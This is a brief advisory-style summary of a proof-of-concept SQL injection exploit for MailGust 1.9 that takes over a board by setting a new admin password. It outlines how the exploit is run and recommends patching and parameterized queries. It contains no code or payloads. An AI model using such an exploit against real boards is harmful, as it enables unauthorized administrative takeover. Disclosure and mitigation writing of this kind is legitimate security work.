MailGust 1.9 SQL Injection / board takeover

This is a proof-of-concept exploit for MailGust 1.9 (and possibly prior versions) that allows for SQL injection and board takeover. The exploit also has generic HTTP proxy support. It is created by rgod and can be found on his website http://rgod.altervista.org. To run this script, make sure to make certain changes in the php.ini file. The usage of this exploit involves launching the script from Apache, filling in the requested fields, and sending yourself a new admin password.

Mitigation:

To mitigate this vulnerability, it is recommended to update to a patched version of MailGust. Additionally, implementing proper input validation and parameterized queries can help prevent SQL injection attacks.
